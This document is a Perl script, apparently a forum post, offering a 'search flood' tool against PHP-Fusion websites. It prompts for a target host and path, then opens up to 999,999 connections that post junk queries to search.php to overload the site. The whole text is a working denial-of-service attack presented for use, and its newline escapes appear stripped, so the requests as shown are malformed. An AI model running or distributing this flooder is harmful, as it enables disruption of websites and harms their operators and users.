PHP-Fusion Search Flood

[AnON1m]

#!/usr/bin/perl



print q{

-[----------------------------------------------------------------------]-



                 RooT PHP-Fusion Search FlooD

              Url = [url]http://www.hacking-truths.net[/url]

                   Coded By RooT The InSaNe



-[----------------------------------------------------------------------]-



};



use IO::Socket;





$x = 0;



print q(

 RooT PHP-Fusion Search FlooD

);



print q(

° Write The Url - Example : [url]www.target.com[/url]

° Url: );

$host = <STDIN>;

chop ($host);



print q(

° Write The The Path! - Example : /, /php-fusion/, /pfusion/, /p-f/ ...

° Path: );

$path = <STDIN>;

chop ($path);





print q(

° Type the command " flood " for starting :

° Command: );

$type = <STDIN>;

chop ($type);



if($type == 1){



while($x != 0000)

{



$x++;

}



}

elsif ($type == flood){



while($x != 999999)

{



$postit = "stext=FlooD_FlooD_FlooD_FlooD_FlooD_FlooD&search=Search&stype=a";



$lrg = length $postit;





my $sock = new IO::Socket::INET (

                                 PeerAddr => "$host",

                                 PeerPort => "80",

                                 Proto => "tcp",

                                );



die "nConnection Refused : $!n" unless $sock;



print $sock "POST $path"."search.php HTTP/1.1n";

print $sock "Host: $hostn";

print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5n";

print $sock "Referer: $hostn";

print $sock "Accept-Language: en-usn";

print $sock "Content-Type: application/x-www-form-urlencodedn";

print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4n";

print $sock "Content-Length: $lrgnn";

print $sock "$postitn";

close($sock);





syswrite STDOUT, "->";





$x++;

}

}else{



  die " Error ! n";

}